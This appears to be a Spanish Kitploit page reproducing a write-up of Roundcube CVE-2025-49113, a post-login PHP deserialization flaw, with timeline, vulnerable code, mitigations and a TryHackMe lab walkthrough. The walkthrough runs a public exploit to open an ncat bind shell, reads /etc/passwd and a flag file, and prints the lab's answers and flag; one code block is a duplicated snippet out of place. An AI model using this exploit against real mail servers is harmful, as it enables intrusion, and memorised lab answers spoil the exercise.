Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Roundcube_CVE-2025-49113 — Explicación + Laboratorio en THM | Kitploit
Herramientas/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
Análisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

Explicación + Laboratorio en THM

3hace 1 añoAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

RCE en Roundcube (CVE-2025-49113) - Mi nota de Obsidian .md

{{date}} {{time}}

Estado: Completado

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

por KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


Impacto: ejecución remota de comandos post-inicio de sesión (CVSS 9.9)
Versiones afectadas: ≤ 1.5.10 / 1.6.10
Parcheada: 1.5.11 y 1.6.11


1 – Timeline

FechaEvento
~2014Introducción de la ruta program/actions/settings/upload.php con uso de session->append() sin validación.
03 jun 2025Investigadores de @FearsOff publican el advisory y anuncian PoC.
04 jun 2025Roundcube aplica commit 0376f69 (1.6-stable) y commit 7408f31 (1.5-lts).
06 jun 2025PoC publicada en github . (fearsoff-org/CVE-2025-49113)
10 jun 2025Explotación en masa.

2 – Dónde estaba el problema

Código vulnerable (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);

La entrada _from llega completa del GET y luego se convierte en parte del nombre de un nodo en la sesión y
durante el primer append(), Roundcube hace:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … más abajo

$rcmail->session->append($type . '.files', $id, $attachment);

Si el archivo existe, el RCE funcionó.


3 – Mitigaciones

  1. Actualice inmediatamente a ≥ 1.6.11 o ≥ 1.5.11.

  2. Si no puede actualizar, bloquee cualquier _from que contenga %22, %7C, !, . o bytes de control mediante WAF, firewall o rewrite.

  3. Desactive funciones peligrosas (proc_open, exec, etc.) en php.ini.

  4. Bloquee subidas en el panel de configuración y monitoree logs.


4 - Laboratorio - TryHackme - WriteUp

Free Room: https://tryhackme.com/room/roundcubecve202549113

Creado por tryhackme & strategos

1. Reconocimiento

  1. Abrir la VM (MACHINE_IP) y el AttackBox.

  2. Acceder a http://MACHINE_IP/roundcube con:

    usuario: ellieptic contraseña: ChangeMe123

    Esto funcionará e iniciará sesión normalmente:

    Pantalla de inicio de sesión


2. Montar el exploit

Después de verificar que todo está funcionando, vamos a ejecutar el exploit, para ello accederemos al PoC publicado en github mencionado anteriormente y haremos un git clone:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. Preparar el payload

El uso del payload es simple, basta crear el bind shell y apuntar a un puerto con el archivo .php siguiendo el uso a continuación:

root@kitploit:~
php CVE-2025-49113.php <`site`> <`user`> <`senha`> "<`bind shell`>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– El script inicia sesión, inyecta el objeto PHP malicioso en el parámetro _from, como mencionamos anteriormente, llama al endpoint upload.php y luego fuerza el cierre de sesión para disparar
session_decode() → unserialize() → proc_open().

A veces muestra error de CSRF; ignórelo y continúe al siguiente paso,
porque el comando suele haberse ejecutado de todos modos.

exploit


4. Conectar a la shell

Si el bind shell funcionó, está escuchando en el puerto 1337 que pasamos, solo hacemos la conexión ahora:

nc MACHINE_IP 1337

Shell obtenida.

shell


5. Respondiendo las preguntas

Preguntas y respuestas

  1. Usuario Maggie
    Pregunta: Uno de los usuarios tiene el nombre Maggie. ¿Cuál es su apellido?
    Respuesta: Byte

Para resolver esta pregunta podríamos hacer un cat en /etc/passwd filtrando el usuario de maggie, o simplemente haciendo un ls en /home

1

  1. Flag en /etc
    Pregunta: ¿Cuál es el valor del indicador guardado en /etc?
    Respuesta: THM{ICE_CUBE_DESERIALISATION}

Para resolver esto, hice un cat /etc/flag* y por suerte el nombre del archivo era flag y con eso logramos capturarlo.

2


5 – Referencias

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff write-up – https://fearsoff.org/research/roundcube

  • OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

Descargar herramienta